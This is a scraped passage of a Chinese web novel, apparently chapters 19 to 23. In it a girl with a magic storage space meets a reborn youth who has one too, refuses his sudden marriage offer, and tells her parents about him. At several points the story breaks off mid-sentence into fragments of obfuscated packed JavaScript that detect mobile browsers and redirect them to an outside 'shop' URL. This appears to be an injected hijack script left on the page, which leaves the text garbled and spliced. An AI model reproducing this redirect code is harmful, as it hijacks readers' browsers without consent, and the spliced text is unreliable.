l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061641|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由。” “不如说说你的合作吧?我听听你的合作有没有用。” 陈知礼深深的看着许岁安,觉得这人有点奇怪,还是这人对他心软了? “我知道了未来会发生的事。” 既然已经到了这个地步,陈知礼也不打算再瞒。 他想着干脆将他的底牌全说了算了,他真的不想再一个人了,太累太苦了,也太孤独了。 “明天的冬天会特别特别冷,你要备好柴火,备好厚皮毛,备好粮食,慢慢熬着,那个冬天时间很长......” “再后面会下很长时间的雨,把山脚下都淹了,你该提前上山里躲着的......” “还有以后会有很热很缺水的时候,要在空间里多放些水......” 陈知礼持续不断的说着,他已经无所谓了,早点死了也好,省的再受一遍苦。 而且他觉得让眼前这个和他有点像的人活下去也不错,他也算是做了一件好事。 许岁安安静听着陈知礼说话,内心有点不是滋味,想了想,她把绑着陈知礼的扎带剪开了。 “你叫什么名字啊?”许岁安问。 陈知礼愣愣的看着解放的双手,“陈知礼,知道的知,礼仪的礼。” “好,陈知礼,你走吧,你的消息很有用。”许岁安拿出梯子靠在土坑壁上。 陈知礼没动,他不可思议地看着许岁安,虽然他自己知道自己说的都是真话,但是,“你相信我?” 许岁安点头,胡说八道,“嗯,你的眼睛很真诚。” 这一刻,陈知礼说不清他的内心是什么感受,是感动吗?是激动吗?是想要哭泣吗? 陈知礼内心五味杂陈,不过有一点他很确认。 眼前的这个人,好像有点傻,因为这种虚无的理由就随随便便的相信了自己的话。 这样的人,在以后的乱世大概是活不了太久的。 “你也太容易相信人了,这样不好,万一我是在骗你呢?”陈知礼干巴巴的说道。 “啊,你在骗我啊?”许岁安佯装惊讶,看起来有点像傻白甜。 陈知礼看许岁安这样更不放心了,他认真说道:“我没骗你,不过你不应该这样随便相信别人。” “哦,你没骗我就好。你快走吧,不然一会儿我反悔了。”许岁安拍拍胸脯,自然说道。 陈知礼眼神古怪的看着许岁安,内心天人交战。 终于,他下定决心,“我不走,我要和你在一起。” “啊!”许岁安惊讶极了,“不是,你这也太快了,我都不知道你长什么样呢?” “而且我们之间也没感情啊,强扭的瓜不甜。” 陈知礼听着许岁安的话,耳朵通红,他想解释,但又转念一想,觉得这样也不错。 也许只有当他和这个人成亲后,他才不会再独自一人。 “嗯。”陈知礼扯下面巾,“我长得应该还可以吧,以前还是有一些女人因为我的长相过来提亲的。” 许岁安摆手,“我不是这个意思,而且婚姻大事怎么能这么儿戏!” 这一刻,许岁安好像成了老古板,主要是她真的不能接受啊。 20. 第 20 章 天色渐暗,金色的余晖正逐渐被漆黑的怪兽侵蚀,而土坑底下的两个人还在不断拉扯。 陈知礼看着许岁安拒绝的意思那么强烈,一点儿也没有犹豫,内心不免有些挫败。 他想着他也不算差啊,是不是现在脸上太脏了,对面那人看不清他原来的样子。 “为什么?”陈知礼问。 看着许岁安避之不及的样子,陈知礼他红着脸豁出去了,努力展现自己的优势。 “我长得好看,也能生养,操持家务也是一把好手,不要彩礼,还可以一起帮你保护空间的秘密。” 对面那人说的这样大胆且直接,许岁安的耳垂听着都悄悄变红。 她看着对面那人紧张的快要哭出来的样子,也不好再直接拒绝。 “说到底,你为什么想要和我成亲呢?” “按你刚刚说的,你一个人不是也可以坚持很久吗?” 陈知礼沉默很久,黑亮的眼眸认真又胆怯的看向许岁安,这才小声说道,“我刚刚和你说的话,其实都是我自己的经历。” “我已经死过一回了,不知道为什么,等我再次醒来的时候,我就回到了现在。” 许岁安听着这些,也沉默了。 又是空间又是重生,她想着这人该不会是什么重要角色吧,她看小说的时候没看到啊。 “嗯,就算你说的是真的,那为什么要和我成亲呢?” 这是一个简单的问题,但对于陈知礼来说,理由却有些难以启齿。 陈知礼低下头,眼泪终于从一直在打圈的眼眶里落下,“我只是...我只是不想再一个人了。” 他上辈子孤独的太久太久了,可因为空间和灾难,他不能也不敢和其他人有过多的交流。 逃难路上,虽然有很多突破下线的事情在上演,但也会有那种相互扶持的一家人出现。 陈知礼很羡慕那样的一家人,他这一生父亲早逝,母亲漠视,继父苛待,姐姐无视。 被家人爱着的感觉陈知礼已经没有印象了,或许在他年幼时曾经有过。 这辈子,既然上天给了他重来的机会,又刚好让他遇见和自己一样有空间的人,这是不是冥冥之中自有安排呢。 陈知礼想要改变,未来的路虽然会很苦,但如果有了可以相互扶持信任的人,是不是就会变得好过一些呢, 他想要抓住面前这个人,就像即将溺亡的人抓住水面上最后的那根救命稻草一般。 陈知礼很害怕,如果这次他失败了,他会不会又要独自再重复上一世的经历。 最后仍然和上一世一样,独自在无人到来的地方再次悄悄死去,一切都没有改变。 “我很有用的。”陈知礼急切地说。 他快速思考着自己的用处,“我知道以后有哪些天灾,我的山洞也很合适在暴雨期躲避。” ...... “而且,而且你总要娶夫的,我比其他人都好......”陈知礼艰难的自夸道。 他也知道自己这样很不知羞耻,但现在他真的很想很想有不同的改变,更何况,他觉得他也没说错啊。 许岁安被陈知礼逗乐了,她看着眼前这人。 嗯,他没说错,确实长的好看,而且她们都有空间,也不怕泄密。 不过,对于许岁安来说,仅仅是因为这样的理由就结婚未免有点可笑。 也许是因为她还年轻吧,还没有谈过恋爱,反正现在的许岁安对爱情还有点憧憬。 她不想就这样莫名其妙的成亲,不想现在就这样仓促的负担起另一个人的人生。 “我有的所有东西都可以给你。”陈知礼破釜沉舟的说道。 许岁安神色莫名,眼神复杂的看着陈知礼。 她不明白为何她们才第一次见面,这人就要把自己的一切都压在她身上。 “你不怕我是坏人吗?” 许岁安语气平静,“我以后有可能会打你、骂你,把你所有的东西都骗走后,再毫不留情的把你赶走。” 陈知礼听见许岁安这么说后,反而放下心来,“你不会的,坏人才不会说自己是坏人。” 许岁安笑了笑,语气阴森,“那你可太不了解我了,我只是坏的比较坦荡而已,我是坏人不是小人。” 陈知礼哽住了,他虽然觉得面前这人不像坏的,但这人自己都这么说了。 “你会打我、骂我吗?会抛下我吗?”想了半天,陈知礼憋出这么一句。 许岁安看着陈知礼真诚期待的眼眸,好像一个只会依赖相信主人的小狗,那么天真,那么坦荡。 她最后不自在的移开视线,模棱两可的说:“这可说不准。” 陈知礼闻言无奈的笑了笑,两只手紧张的绞缠在一起。 “好吧,如果以后真的会那样,就当是我命不好,我认命。” 许岁安听着陈知礼这话,莫名有点不好意思,她刚想解释,忽然反应过来,自己好像没答应啊。 “呃——”,尽管这话有点不近人情,但许岁安还是说了,“我没打算和你成亲。” 陈知礼愣住,抬头不可置信的看着许岁安,像是在看一个负心女。 “为什么?我可以出嫁妆的,我还有十三两银子。” 十三两银子不算少了,村里娶夫各项加在一起,最多也才花七八两银子。 陈知礼这么说可以说是非常有诚意,也非常卑微了。 而且他还不要彩礼,嫁妆也全部给出来,这换作这时代的任何一个女人想必都会迫不及待的答应下来。 许岁安大概也明白陈知礼说这些话意味着什么,这人把自己的一切都赌在她身上了。 面对这样诚恳的言辞,许岁安虽不会答应,但也有些心软了。 “我还没告诉你我的名字呢,我叫许岁安,岁岁平安的那个岁安。” “抱歉,陈知礼,我还是不能答应你的请求。” “这并不是说你不好,你应该也知道你说出的条件,大部分女人都会答应。” “只是我比较奇怪,我不想和一个没有感情的人成亲。” 许岁安看着陈知礼有点可怜的身影,话风一转。 “不过,离你说的那个时间还有一段时间,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不行,自己不能被他影响,区区夹子音,她也会! “不客气,知礼弟弟~~~” 梯子上的人听见这声,果然停顿两秒,许岁安得意,呵呵,大女人绝不认输。 等许岁安爬出土坑,看着天色都黑了,犹豫着该何去何从。 “岁安姐姐,不如先去我那里休息吧,夜晚的山里可是很危险的。”陈知礼善解人意的开口。 许岁安想了想,“你现在还记得早上的那片树林该怎么走吗?” 陈知礼犹豫,“记得是记得,但天太黑了,现在出去,很容易迷失方向,而且晚上的危险会更大。” 许岁安闻言沉默了,她踩了踩自己扭伤的脚,抬头看着远处漆黑一片的森林,转头又看见陈知礼担忧的眼眸,无奈的叹了口气。 行吧,只能等第二天了,娘是个老猎户,怎么做她心里应该有数。 “好吧,那麻烦你带个路。”许岁安说。 21. 第 21 章 听见许岁安答应了自己的提议,陈知礼神情雀跃的从空间取出火把点燃。 此时周围一片黑暗,夜晚大风吹过,引起一片森冷的呼号,许岁安啊往森林里看去,只觉得那里面好似正隐藏着一头择人而噬的野兽。 不过这些大概都是心理作用,夜晚的森林过于幽黑寂静,难免让人联想到其他。 火把上正奋力燃烧的火焰让许岁安二人内心安稳许多,两人的距离也稍微离得近了些。 “大晚上的森林还挺吓人的,你一个人胆子真大。”许岁安由衷说道。 陈知礼沉默几秒,嗯了一声,“我这也是没办法,不过一般天黑的时候我都会在山洞里待着的。” 许岁安有点尬尴,这么说起来,这人今天回去晚了还和自己有关呢。 “是该在山洞待着,晚上出来做事也不方便,你一个人更得注重安全。” 陈知礼抿了抿嘴唇,“嗯,我知道的。” 顾及着许岁安的扭伤,陈知礼走得很慢。 “岁安姐姐,要不要把手搭在我的肩膀上或者胳膊上,借点力。” 许岁安走路一轻一重的,她尽量让受伤的脚少用点力。 “不用了,我这还行,走慢点可以。” 陈知礼侧头看向许岁安,以为她是为了女子的身份逞强。 “没关系的,这里也没其他人,我也不会说出去。” 许岁安笑了笑,心中被陈知礼的行为暖了一下。 “真不用,你好好看路吧。” 又听见了拒绝,陈知礼压下心中些微的失落,想着大概是刚认识,这人不好意思麻烦自己。 不过她真的挺好的,陈知礼想,这深山野地的,就她们两个人,她也规规矩矩地保持着距离。 安安静静走了一段路程后,想着许岁安的扭伤,陈知礼问,“岁安姐姐,你明天打算怎么办呢?” “要不你在山洞等着,我去帮你把人叫过来。” 许岁安想了想,还是拒绝了。 她不好麻烦刚认识的人这么跑,而且毕竟是人家的居住地,她也不想因为自己的事被暴露了。 到时候就把这人最后的退路给堵上了,这样不好。 许岁安还没有想到太久远的以后,不过看在陈知礼这么真挚的告诉了她所有信息,她难免对这人有了好感。 至于以后是否她会和陈知礼在一起,那就看她们之后的相处吧。 总归她们在这种情况下遇到了,又有相同的秘密,许岁安觉得她们还是挺有缘分的,她也不排斥继续和陈知礼认识。 许岁安任凭内心百转千回,面上还是安安静静的跟着陈知礼走。 看得出陈知礼对这周围确实很熟悉,许岁安跟着他走,能感觉到这一路都走的很顺畅。 直到一声提醒,让许岁安抬头打量四周。 “到了。”陈知礼说。 许岁安看着眼前一片普通的峭壁,一时间都没有找出入口。 直到她跟着陈知礼,左拐右拐的走小路,慢慢从一片藤曼里穿过,抵达石洞,才忍不住感慨,“你找的地方还挺偏僻的。” 这山洞这么偏僻,隐蔽性又这么好,的确很适合藏身。 陈知礼闻言有点小得意,他看着许岁安,“这地方可好了,很安全也不会被其他人发现,我们以后可以躲到这里来。” 这话预设性太强了,许岁安不好接,“今晚我在哪里休息呢?” 陈知礼指了指地上的被子,“岁安姐姐,你今天睡这里吧,我睡里面的那个山洞。” 许岁安点头,“好,麻烦你了。” 陈知礼笑着摇头,“不麻烦,说不定以后岁安姐姐会经常过来这里呢。” “对了,岁安姐姐吃晚饭了吗?我这里还有点吃的,我去给你拿过来好吗?” 许岁安连忙摇头,“不用了,我有吃的。” 许岁安想了想,从空间拿出两个包子递给陈知礼,“这是今晚留宿的谢礼。” 陈知礼看着那两个热气腾腾的包子,咽了咽口水,“岁安姐姐,你等一下。” 说着,陈知礼快速往里面的山洞跑,他也要拿些好吃的出来。 “这是我之前做好风干的肉条,还有昨天摘下来的野果,我们来交换吃的好吗?” 陈知礼有着自己的私心,他不想和许岁安太过生分,就像刚刚的谢礼,他不能那么接。 肉条和野果,是陈知礼目前可以拿出最好的食物了,他希望用这些和许岁安做交换。 许岁安看着眼里满是忐忑的陈知礼犹豫了,说实话,陈知礼拿出的这些对于许岁安来说根本不算什么,她空间里好吃的太多了。 但是许岁安也明白,对于独自在森林里生活的陈知礼,肉条应该是极为珍贵的食物。 哪怕是在普通的农家,肉条也算得上是上好的食物了。 因为陈知礼这份足够真挚的情谊,许岁安内心有些动容,她笑着答应了。 “好,我们交换食物吧。” 陈知礼闻言,高高兴兴的把自己的肉条全都递出去了,他觉得这大概是他和许岁安关系靠近的一大步。 这肉条吃起来味道一般,许岁安想这大概是因为陈知礼拥有的调料太少,所以他就只能简单的用盐腌制。 简单的吃完晚饭后,陈知礼踟蹰的看向许岁安的脚腕。 “岁安姐姐,我这里还有一点药油,要不......” 没等陈知礼说完,许岁安赶忙开口,“这个你不用担心啦,我等下自己处理就好,你先回去休息吧,明天还要早起。” 陈知礼想了一会儿,考虑到男女有别,加上她们的关系还比较陌生,自己作为男子更该有所矜持,于是点头答应了。 “好,那我先去休息了。如果有要我帮忙的,岁安姐姐记得叫我。” “好。”许岁安应了一声。 等陈知礼彻底从许岁安的视线中消失,许岁安这才忍痛去看她的扭伤。 好嘛,经过这么一走,她的扭伤更严重了,肿起来一大片,一摁一个手指印。 许岁安坐在被子上,取出冰袋在扭伤肿胀处冷敷,冷敷完又抹上药油,然后吃了一片消炎止痛片,躺在被子上不再动弹。 躺了一会儿,许岁安忽然想起,好像抬高腿脚,方便血液循环,更有处于加快扭伤转好。 于是她从空间拿出一个抱枕,垫在脚下,再慢悠悠的躺下。 不知何时,许岁安渐渐陷入梦乡。 等许岁安再度睁眼时,就感受到了光亮,她转头看见的就是陈知礼熬粥的身影。 今天的陈知礼好好打扮了一番,穿着正常的衣服,头发也梳的很规整了。 许岁安一眼看去,就是陈知礼白皙青春的清秀脸庞。 他那样认真的坐在火堆旁,跳跃的橙红色火光将他的脸照映的忽明忽暗,看上去有种温柔沉静的感觉。 好居家啊,许岁安想。 “你起的这么早啊?”许岁安出声。 “嗯。”陈知礼转头看向许岁安,笑得很乖。 “岁安姐姐,你醒啦,粥还有一会儿才熬好。” 许岁安半坐起来,活动了一下自己的脚腕,感觉好的差不多了,昨天的扭伤好像不是很严重,肿胀都消下去了。 “好,辛苦你了。” 清晨的气温比较凉爽,许岁安起来找了个小板凳,和陈知礼一起呆坐着。 坐了一会儿,有点无聊,许岁安随意开口道:“对了,还没问你呢,你今天多大了?” “我16岁了,岁安姐姐呢?” “我17岁,比你大一岁,你叫姐姐倒也没错。” 陈知礼闻言抿唇浅笑,眼角微扬,“我和岁安姐姐年纪上很相近呢。” “粥应该差不多好了,岁安姐姐等我一下。” 许岁安看着陈知礼离开的背影,觉得这人有些偏瘦了,他有那么多银子,怎么没多买些吃的呢? “好了,今天我煮了很多粥,岁安姐姐可以放心吃。”陈知礼笑着说道。 许岁安看着桌子上的饭菜,大概明白陈知礼之前吃的什么了。 野菜、野果、白粥,肉条可能是他今天特意加上的。 想了想,许岁安拿出五个水煮蛋和两个牛肉馅饼。 “鸡蛋我两个,你三个,馅饼一人一个,吃不完留着下顿吃。” 许岁安看着陈知礼漂亮的眼睛,“说好的食物交换。” 陈知礼愣在当场,抿了抿唇,含着眼泪的喜悦目光将许岁安弄得有点不自在。 “谢谢你,岁安姐姐。”陈知礼小声的说着。 “嗯,快吃吧,一会儿你还得带着我这个伤患赶路呢,吃饱点。” 陈知礼点头答应,从来没有人对他这么好过,这馅饼也不知道是怎么做的,怎么这么好吃啊。 他的眼泪就像断了线的珠子一样,流个不停,陈知礼很难去描述自己现在内心的酸涩感。 陈知礼眨了眨眼睛,企图将眼泪憋回去,可惜失败了。 他也不想哭的,本来他今天是想好好表现的。 可没办法,他真的控制不住,这眼泪不知怎么了,老是争先恐后的冒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090890|148154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 在安静无言的氛围里,许岁安吃完了这顿早饭。 “岁安姐姐,我收拾好了,我们走吧。”陈知礼语调轻松。 许岁安看到他还有些发红的眼眶,没有多说什么,而是问,“你今天不伪装一下吗?” 陈知礼闻言,轻轻摇头,他带着羞涩的笑容,不好意思的说道:“今天比较特殊。” “对了,岁安姐姐,这个请你收好。” 陈知礼递给许岁安一个钱袋,许岁安疑惑打开,“这是什么?” 当她看见里面的银子时,急忙将钱袋收紧,“你疯了?这东西怎么能给我?快收回去!” 陈知礼看着钱袋,没有接,反而后退一步,“不行,我们说好的,要给你。” 许岁安差点被陈知礼气笑了,“我们当初可不是这么说的。” “你把银子都给了我,你以后怎么办?” 陈知礼笑笑,看着许岁安,“没关系,你不是说过,不管怎样,我以后都可以跟着你吗?” 许岁安眉头一皱,“这是两码事,按你说的情况,你总该给自己买些东西准备着。” “那么,岁安姐姐拿着这些银子去买粮食就好了啊。” 陈知礼看着许岁安,他的眉眼间有种奇怪的信任和依赖,带着一种说不清道不明的天真。 他语气轻松的开口,“只要岁安姐姐不留下我一个人,这些粮食可以供我们吃很长时间了,我也不会饿死的。” 这种话简直就像是一个不懂事的小孩子说出口的,怎么也不会让人想到这些话是从一个经历过各种天灾的人会说的。 陈知礼这种不顾一切的信任让许岁安感到压力和无奈,“不可以,陈知礼,这是你的银子,我不会收。” “而且,我答应的是可以带你一起逃难,但并不包括要保管你的东西。” 许岁安这话说的太过直白和无情,陈知礼听到后,眼里一直闪烁的星光都寂灭下来。 他低下头,眼泪一颗一颗滴砸落地上。 陈知礼想要说些什么,但酸涩的鼻尖、干涩的喉咙,却让他怎么也张不开嘴。 他想抬起头笑一笑,用尽量轻松的语气把这件事揭过。可现在,他甚至连抬头面对许岁安的勇气都没有。 陈知礼感觉他哭了很久,眼里一片模糊,什么都看不清,也没有再听见其他声音。 ‘岁安姐姐走了吗?’ ‘我被讨厌了吗?’ 陈知礼心里惴惴不安的想着,他果然是不被爱的孩子,果然是被厌弃的孩子。 “唉——” 看着陈知礼哭得这么伤心,还是只流眼泪不出声的那种,许岁安最终还是心软了,她叹息一声。 “把眼泪擦擦吧,银子先放在你那里,等我觉得可以的时候,会问你要。” 许岁安递给陈知礼一个手帕,她明白,这种妥协对她来说意味着什么,自己到底还是对陈知礼有一点心动了。 这点心动现在不足以让她对陈知礼负责,但以后她们的相处的时间还有很多。 随着她们的相处,也许这份心动会慢慢发展成喜欢再到爱。到那时,就到了她主动问陈知礼要银子的时候了。 陈知礼动作缓慢的拿起许岁安手上的帕子,眼泪也逐渐消失。 “好了,银子也先拿回去吧。”许岁安说。 陈知礼犹犹豫豫的看着许岁安的脸色,动作迟疑的拿起钱袋。 “...对不起。” 最后,陈知礼小声的和许岁安道歉,他知道这回是他太过着急冒犯了,他内心的自卑害怕让他做出了这种不理智的举动。 不过还好,岁安姐姐愿意再给他一次机会。 许岁安看着陈知礼慢慢平静下来了,找了个小板凳坐下。 “知礼,去洗个脸吧,我在这里等你回来。”许岁安轻声说道。 陈知礼看着坐下的许岁安,点了点头,转身快步的去收拾自己。 等她们再次出发时,空气里蔓延着一种尴尬,一路无言。 快要到昨天的那片树林的时候,许岁安开口了,“我这两天可能不会上山,要养一下扭伤。” 陈知礼沉默片刻,期期艾艾的问,“那下次上山的时候,你会来找我吗?...岁安姐姐。” “会的。”许岁安停下脚步,“就到这里吧,回去的路上注意安全。” 陈知礼跟着停下,“我...我在这里看着岁安姐姐走吧。” 许岁安沉默点头,看着陈知礼清瘦萧索的身影,温声说道:“别害怕,过两天你就可以又见到我了。” 22. 第 22 章 呼吸一口清新的空气,许岁安慢慢绕着这片树林走了一圈,没见到其他人。 她找到之前和她娘许春花一起待过的地方,随意找了一棵大树靠着坐下。 ‘也不知娘什么时候才能找过来。’许岁安望着眼前郁郁葱葱的画面陷入沉思。 吃了昨天的教训,没有确认绝对隐秘前,许岁安现在已经不敢再随意使用空间了,她真怕又有一个怪人暗悄悄的躲在树上。 日头逐渐变大,许岁安根据太阳的光照角度,换了几个阴凉地待着。 ‘再等等吧,等到太阳下山前,如果娘还没有找过来,就直接回家好了。’许岁安心里想着。 她现在也不好随意离开,万一和她娘错过了,后面为了两人重逢,不知道还得多跑多少冤枉路。 后面不知道又等了多长时间,许岁安明显感觉到太阳的光照强度越来越大,气温上升的也很明显。 她舔了舔有些干燥的嘴唇,百无聊赖地发着呆,直到听见了那声梦寐以求的呼唤。 “安安——,安安——,许岁安!” 许岁安惊喜的站起来,急忙大声回应,“娘——,娘,我在这儿。” “安安——,你在哪儿呢?”许春花边走边大声喊着。 许岁安也走动起来,“娘——,娘——,听见我的声音了吗?” 两人同时朝着音源处走去,不断相互喊话,辨认位置,终于,许岁安看见她娘许春花了。 许春花此时的样子有些狼狈,原本用发带和发簪固定好的头发不知被什么东西勾过,有几缕散了出来。 她身上的衣服也是一样,上面有多出污痕,还有一处被东西勾破的痕迹。 “娘!”许岁安挥着手大声喊着。 许春花听见声音,转头终于看见找了很久的自家闺女,她的眼里瞬间充满惊喜,立刻急切地朝许岁安跑了过来。 许岁安也兴奋地朝她娘跑过去,“娘——,娘,我可算等到你了。” 她话音刚落,就被她娘结结实实的紧紧抱住了。 “你这孩子,这一天一夜的都跑哪儿去了?”许春花的声音有点哽咽,“也不知道把娘带上......” 许岁安回抱住许春花,“娘,对不起,昨天情况太紧急了。” 许春花此时心里又急又气,但她也明白昨天许岁安那么突然的离开一定有她的理由。 一阵混着树木青草气息的凉风吹来,拍在许春花的脸上,让她的情绪变得冷静了一些。 她松开许岁安,用关切的眼神上下来回扫视着,“你受伤了没有?” 许岁安温和的笑笑,“一点小伤,就是脚又扭了,回去估计得歇两天。” “娘呢?我看你的衣服都破了一个口子,有没有受伤啊?” 许春花闻言松了一口气,“娘没事,就是这回你把娘吓得够呛,连着你爹现在在家估计也急得不行。” “我们现在先回家吧,你把昨天的事跟娘说说。” 许春花的垂眸,视线落在许岁安脚上,“你这脚扭伤严重吗?要不要娘背着你回去?” 许岁安动了动脚腕,仔细感受了一下,“还行,有点轻微的疼痛,可以忍,就是一会儿下山的时候要走得慢一点。” “唉——”,许春花叹了一口气,看着不让人省心的女儿,把背篓放下来。 “你背着背篓吧,我背你下山。”许春花做下决定,“这下山到回家路程有点长,我不想你的扭伤再加重了,听话!” “哦。”看着许春花脸上不容拒绝的神色,许岁安乖乖答应了。 被人这样背着走的感觉有点奇妙,许岁安看着她娘许春花的侧脸,好奇的问道:“娘,我重不重啊?” 许春花走得很稳,“重什么?你这点小体重,娘背你轻轻松松。” “说说昨天的事吧?” 许岁安她们走的这条路很寂静,偶有鸟雀的叫声,一阵风吹过,树叶晃动的沙沙声都可以听的分明。 在这么安静的地方,许岁安也不敢说话大声了。 她在许春花耳边小声说道:“娘,昨天我的空间被人发现了,所以我去追人了,不过......” 许岁安还未说完,许春花听见这个晴天霹雳的消息,忍不住惊讶出声:“什么?!” “没事,没事。”许岁安急忙安抚,“我都和那个人谈的差不多了,这件事不会露出去的。” 许春花停下脚步,拧着眉,“这你怎么确定?别是那人假装忽悠你两句,你就信了。那人在哪儿?” “我确定,娘,他也有空间。”许岁安继续小声说道。 听到这个消息,许春花眉头稍松,不过她还是不太放心,“这是个理由,不过人心难测,你怎么确定那人是可以信任的?她还说了什么?” 许岁安搂紧许春花,“嗯,他还说了其他很多事,等我们到家了再仔细说吧,这里还是不太安全。” 闻言,许春花也没多说什么,她尊重许岁安的意愿,而且现在的确需要快点回去。 说起来,在这个时代,猎户一晚上没回去也算正常。 猎户从家往山上走,又从山上往家回,一来一回的得费不少时间。 所以在天气暖和的时候,有不少猎户会选择晚上在山脚下待一晚,第二天继续进山打猎。 不过这里面不包括许春花和许岁安,她们家都约定好了,不管当天收获怎么样,都得回家。 收获少也没关系,一家人最重要的就是平平安安的在一起。 许春花背着许岁安从山上下来时,一眼就看见了正急得在山脚下来回转悠的周林。 “林林!”许春花大喊。 周林转身看见许春花和她背上的许岁安,马上就跑了过来。 “妻主~,你出什么事了啊?昨天你和安安一直都没回来。” 周林双眼通红的看着两人,他看着许春花衣服上的口子,颤抖的摸上去。 “没事,林林,我没受伤,安安也没什么大碍。” 许春花看着周林焦急的神色,心疼的开口,“你昨天一定吓坏了吧,昨天我和安安走失了,所以没有回去。” 周林的眼泪直刷刷的流下来,“人没事就好,昨天出什么事了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太阳渐渐下沉,落日余晖下,许岁安三人踏着黄昏,终于回到了家中。 “好了,现在说说你昨天遇到的事情吧。” 许春花关上房门,点上油灯,和周林一起严肃着脸坐下。 “好。”许岁安点头,不急不徐、绘声绘色的从头开始说起自己昨天的遭遇。 当她说到陈知礼和自己一样是重生之人,并且陈知礼也有空间的时候,许春花和周林对视一眼,眼里皆是不可思议。 等许岁安说完陈知礼向她坦诚说出自己未来的所有经历,愿意把他现在拥有的一起都交付给许岁安后,许春花二人都不知摆什么样的表情好了。 ...... “就是这样,娘,爹,你们也知道女儿现在的情况。” “所以,我打算先和他接触接触试试。” “嗯......,其实我现在对他感觉还可以,如果后面我真的喜欢上他了,成亲也行。” “就算后面我和他没成,如果陈知礼是个好的,带上他也行。” “反正到时候我们会和村里的人一起逃难,多他一个也没什么。” “你们觉得呢?”许岁安把自己的想法全都说了,看着娘爹,询问她们的意见。 23. 第 23 章 屋外月明星稀,晚上的村路空无一人。 屋内在许岁安说完话后,三人面面相觑、相顾无言,似乎都在思考许岁安刚刚说出的事情。 一阵冗长的沉默后,许春花开口了,“你等一下啊,安安,我和你爹商量一下。” 许岁安点头答应,眼看着许春花拉着周林起身,一起走到房间角落,小声谈论起来。 她们的声音太小,许岁安隐隐可以听到一些音响,但是却听不清她们在说什么。 许岁安百无聊赖地趴在桌子上,看着桌子中间放着的油灯,思绪渐渐飘到陈知礼身上,也不知那人现在正在做什么。 “安安啊,我和你爹商量好了。” 许春花和周林不知何时走回来坐下,许岁安听见声音了,也连忙直起上身坐好。 “就按你说的那么做吧,我和你爹都觉得你和那孩子还挺合适的。” 许春花慈爱的看着许岁安,“你是女孩子,要主动点知道吗?” “希望你和那孩子进展顺利,最好在明年冬天前就可以成亲了。你自己把握着,看看什么时候把那孩子带回来吧。” “他叫陈知礼对吧?我觉得这孩子真的挺实诚的,你也不要去欺负人家。” 许岁安撇了撇嘴,“娘,我也没欺负他啊。” “还有,娘,我想了想昨天的那件事,觉得我们最近几个月还是不要去砍柴了,有暴露的风险。” “等秋冬季节,树叶落的差不多了再去吧。” 许春花听见许岁安这么说,也没犹豫,直接答应了。 “就按你说的来,这回也是我们疏忽大意了,还好看见的人也有空间。” “还有...”,许春花和周林相视一笑,“我和你爹就不插手你们年轻人的感情了,你后面自己勤快点。” “这几个月不砍柴,上山的频率以后你自己决定吧。我还是一天或隔天去山上一趟,你就不用跟着我一起了。” “安安,娘的意思你明白吗?” 许岁安的双颊漫上红霞,和家长讨论自己之后的对象还是有点让人害羞的。 “嗯,我明白的,娘。那这几个月我还是先和你同路上山吧,到了山上我们再分开。” 许春花想了想,答应了,这样也安全些。 许岁安见许春花答应了,抿唇笑了笑,开始从空间往外拿饭菜,“娘,爹,我们开饭吧,我都饿了好久了。” 干锅排骨、清炖鸡汤、红烧肉、蒜苔炒肉丝、茄子豆角、凉拌黄瓜。 许春花和周林看着桌子上摆放的这些饭菜,眼睛都直了,她们下意识的咽了咽口水。 “安安,这神仙给的饭菜都这么好吗?”周林问,“这种的饭菜空间里还多吗?” 许岁安点点头,“多,爹,空间里的饭菜够我们吃很久了,这辈子吃饭都不用愁。而且里面还有普通的肉和蔬菜,我们还可以自己做好放进空间。” “好...好...好...”,周林愣愣点头,“神仙对我们家真是太好了。” 他的眼里像是有泪光在闪烁,弄得眼前的场景都变模糊了。 周林撑着桌子站起来,“我去厨房拿几个空碗,一会儿好喝汤。” 许岁安目送周林离开,转头回来就和许春花炯炯有神的目光对视上了,“娘?” 许春花清清嗓子,“安安啊,按你的说法,我们日常的吃喝是不用愁了吧。” “对,反正都够我们吃的。”许岁安没多想,直接这么回了。 “嗯,那个...”,许春花干咳一下,“就是像你这两天拿出来的糖和奶茶这种零嘴多吗?” “上次你爹说那个棒棒糖还挺甜的...” 许岁安低下头笑了笑,没想到娘还是个吃货,“娘,要不我放一个零食柜怎么样?这样大家想吃的时候就可以随便吃了。” “这......”,许春花犹豫了,“会不会被其他人发现啊?” “应该没事的,找个小箱子放在你们屋子里,撕开的包装放进我给你们的塑料袋里,没有其他人会知道的。”许岁安宽慰道。 许春花面色纠结,“那些零嘴够这么消耗吗?要不你隔段时间拿几个零嘴出来尝尝好了。” 许岁安听着许春花这么说,知道她是想吃的,只是有点顾虑。 “不用,娘,这种零嘴空间里可多了,你就是天天也完全够。” “而且,之前你和爹...我们家吃过的零嘴也不多,现在既然有这个条件,干脆放开了吃好了。” 周林拿着碗走进来,关上门,把鸡汤一碗一碗舀好放在每个人的位置上,“你们刚才说什么呢?” 